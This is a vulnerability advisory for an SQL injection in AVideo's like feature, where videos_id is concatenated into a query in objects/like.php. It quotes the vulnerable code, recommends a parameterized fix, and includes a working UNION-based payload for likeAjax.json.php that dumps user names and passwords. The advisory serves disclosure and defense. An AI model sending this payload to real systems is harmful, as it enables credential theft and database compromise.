AVideo has SQL Injection via Partial Prepared Statement — videos_id Concatenated Directly into Query

Summary

In objects/like.php, the getLike() method constructs a SQL query using a prepared statement placeholder (?) for users_id but directly concatenates $this->videos_id into the query string without parameterization. An attacker who can control the videos_id value (via a crafted request) can inject arbitrary SQL, bypassing the partial prepared-statement protection.

Details

File: objects/like.php

Vulnerable code:

$sql = "SELECT * FROM likes WHERE users_id = ? AND videos_id = ".$this->videos_id." LIMIT 1;";
$res = sqlDAL::readSql($sql, "i", [$this->users_id]);

The query mixes a parameterized placeholder for users_id with raw string concatenation for videos_id. The $this->videos_id value originates from user-supplied request input (typically a POST/GET parameter identifying the video being liked/disliked) and is not cast to integer or validated before being embedded in the SQL string.

All other queries in the same file correctly use ? placeholders for both columns:

// Correct pattern used elsewhere:
$sql = "SELECT count(*) as total FROM likes WHERE videos_id = ? AND like = 1";

The inconsistency means any attacker who can submit a like/dislike action with a crafted videos_id can inject SQL. Since like/dislike actions are typically available to any authenticated user, the attack surface is broad.

PoC

An attacker sends a like request with an injected videos_id:

POST /objects/likeAjax.json.php
videos_id=1 UNION SELECT user,password,3,4,5,6,7,8 FROM users-- -

This causes the backend to execute:

SELECT * FROM likes WHERE users_id = 1 AND videos_id = 1 UNION SELECT user,password,3,4,5,6,7,8 FROM users-- - LIMIT 1;

Result: full database read — user credentials, emails, private content, and any other data accessible to the MySQL user.

Impact

• Severity: High
• Authentication required: Yes (must be logged in to like a video), but all registered users qualify
• Impact: Full database read via UNION-based injection; potential for data modification or deletion depending on DB user privileges
• Fix: Replace the concatenation with a second ? placeholder and pass $this->videos_id as a bound integer parameter